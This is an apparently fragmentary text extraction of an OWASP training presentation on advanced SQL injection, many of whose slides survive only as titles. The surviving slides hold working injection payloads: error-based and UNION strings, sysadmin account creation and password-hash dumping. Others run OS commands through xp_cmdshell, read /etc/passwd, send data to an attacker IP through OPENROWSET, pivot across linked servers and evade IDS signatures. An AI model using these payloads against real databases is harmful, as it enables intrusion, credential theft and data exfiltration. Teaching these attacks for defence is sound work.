Advanced SQL Injection
Advanced SQL Injection
OWASP
4/11/2005
OWASP 2
SQL is a Standard - but...
OWASP 3
SQL Database Tables
OWASP 4
SQL Queries
OWASP 5
SQL Data Manipulation Language (DML)
OWASP 6
SQL Data Definition Language (DDL)
OWASP 7
Metadata
OWASP 8
What is SQL Injection?
OWASP 9
How common is it?
OWASP 10
Vulnerable Applications
Almost all SQL databases and programming languages are
potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,
Informix, etc
Accessed through applications developed using:
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and API’s
Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
many more
OWASP 11
How does SQL Injection work?
OWASP 12
Injecting through Strings
OWASP 13
The power of '
OWASP 14
If it were numeric?
OWASP 15
Injecting Numeric Fields
$formacct = 1 or 1=1 #
$formpin = 1111
OWASP 16
SQL Injection Characters
OWASP 17
Methodology
OWASP
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 19
1) Input Validation
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 20
Discovery of Vulnerabilities
OWASP 21
2) Information Gathering
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 22
2) Information Gathering
OWASP 23
a) Exploring Output Mechanisms
OWASP 24
Extracting information through Error
Messages
Grouping Error
' group by columnnames having 1=1 - -
Type Mismatch
' union select 1,1,'text',1,1,1 - -
' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
In DBs that allow subqueries, a better way is:
' and 1 in (select 'text' ) - -
In some cases we may need to CAST or CONVERT our data to
generate the error messages
OWASP 25
Blind Injection
OWASP 26
b) Understanding the Query
OWASP 27
SELECT Statement
OWASP 28
UPDATE statement
OWASP 29
Determining a SELECT Query Structure
OWASP 30
Is it a stored procedure?
OWASP 31
Tricky Queries
OWASP 32
c) Determine Database Engine Type
OWASP 33
Some differences
MS SQL Oracle Postgres
MySQL Access DB2
T-SQL PL/SQL PL/pgSQL
Null
Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
replace
OWASP 34
More differences…
UNION Y Y Y Y Y Y
N 4.0
Subselects Y N Y Y Y
Y 4.1
Batch Queries Y N* N N N Y
Default stored
Many N N Many N N
procedures
Linking DBs Y Y N Y Y N
OWASP 35
d) Finding out user privilege level
OWASP 36
DB Administrators
OWASP 37
3) 1=1 Attacks
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 38
Discover DB structure
OWASP 39
Enumerating table columns in different DBs
MS SQL
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = 'tablename ')
sp_columns tablename (this stored procedure can be used instead)
MySQL
show columns from tablename
Oracle
SELECT * FROM all_tab_columns
WHERE table_name='tablename '
DB2
SELECT * FROM syscat.columns
WHERE tabname= 'tablename '
Postgres
SELECT attnum,attname from pg_class, pg_attribute
WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0
OWASP 40
All tables and columns in one query
OWASP 41
Database Enumeration
OWASP 42
System Tables
Oracle MS Access
SYS.USER_OBJECTS MsysACEs
SYS.TAB
MsysObjects
SYS.USER_TEBLES
SYS.USER_VIEWS MsysQueries
SYS.ALL_TABLES MsysRelationships
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
MS SQL Server
MySQL
sysobjects
mysql.user
syscolumns
mysql.host
systypes
mysql.db
sysdatabases
OWASP 43
4) Extracting Data
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 44
Password grabbing
OWASP 45
Create DB Accounts
MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost',
PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
OWASP 46
Grabbing MS SQL Server Hashes
An easy query:
SELECT name, password FROM sysxlogins
But, hashes are varbinary
To display them correctly through an error message we need to
Hex them
And then concatenate all
We can only fit 70 name/password pairs in a varchar
We can only see 1 complete pair at a time
Password field requires dbo access
With lower privileges we can still recover user names and brute
force the password
OWASP 47
What do we do?
The hashes are extracted using
SELECT password FROM master..sysxlogins
We then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
And then we just cycle through all passwords
OWASP 48
Extracting SQL Hashes
OWASP 49
Extract hashes through error messages
OWASP 50
Brute forcing Passwords
OWASP 51
Transfer DB structure and data
OWASP 52
Create Identical DB Structure
OWASP 53
Transfer DB
OWASP 54
5) OS Interaction
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 55
Interacting with the OS
OWASP 56
MySQL OS Interaction
MySQL
LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
create table temp( line blob );
load data infile '/etc/passwd' into table temp;
select * from temp;
SELECT INTO OUTFILE
OWASP 57
MS SQL OS Interaction
MS SQL Server
'; exec master..xp_cmdshell 'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select @data
as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
OWASP 58
Architecture
OWASP 60
Gathering IP information through reverse
lookups
Reverse DNS
'; exec master..xp_cmdshell 'nslookup a.com MyIP' --
Reverse Pings
'; exec master..xp_cmdshell 'ping MyIP' --
OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa;
pwd=Pass123; Network=DBMSSOCN;
Address=MyIP,80;',
'select * from table')
OWASP 61
Network Reconnaissance
OWASP 62
Network Reconnaissance Full Query
'; declare @var varchar(256); set @var = ' del test.txt && arp
-a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >>
test.txt && netstat -ano >> test.txt && route print >> test.txt
&& tracert -w 10 -h 10 google.com >> test.txt'; EXEC
master..xp_cmdshell @var --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT
tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data=': ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end --
' and 1 in (select substring(x,1,255) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
OWASP 63
6) OS Cmd Prompt
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 64
Jumping to the OS
OWASP 65
Using ActiveX Automation Scripts
Speech example
'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'warning, your
sequel server has been hacked!', 1
waitfor delay '00:00:03' --
OWASP 66
Retrieving VNC Password from Registry
OWASP 67
7) Expand Influence
1) Input Validation
2) Info. Gathering
7) Expand Influence
OWASP 68
Hopping into other DB Servers
OWASP 69
Linked Servers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases
OWASP 70
Executing through stored procedures
remotely
If the remote server is configured to only allow stored procedure
execution, this changes would be made:
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
OWASP 71
Uploading files through reverse connection
OWASP 72
Uploading files through SQL Injection
OWASP 73
Example of SQL injection file uploading
OWASP
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
OWASP 76
IDS Signature Evasion
OWASP 77
Input validation
OWASP 78
Evasion and Circumvention
OWASP 79
MySQL Input Validation Circumvention using
Char()
OWASP 80
IDS Signature Evasion using white spaces
OWASP 81
IDS Signature Evasion using comments
OWASP 82
IDS Signature Evasion using string
concatenation
In MySQL it is possible to separate instructions
with comments
UNI/**/ON SEL/**/ECT
Or you can concatenate text and use a DB
specific instruction to execute
Oracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER')
OWASP 83
IDS and Input Validation Evasion using
variables
Yet another evasion technique allows for the definition
of variables
; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' +
N'ER');
EXEC (@x)
EXEC SP_EXECUTESQL @x
Or even using a hex value
; declare @x varchar(80); set @x =
0x73656c65637420404076657273696f6e; EXEC (@x)
This statement uses no single quotes (')
OWASP 84
Defending Against SQL
Injection
OWASP
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
OWASP 86
Strong Design
OWASP 87
Input Validation
OWASP 88
Harden the Server
OWASP 89
Detection and Dissuasion
OWASP 90
Conclusion
OWASP 91
Links
OWASP 92
Advanced SQL Injection
OWASP
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.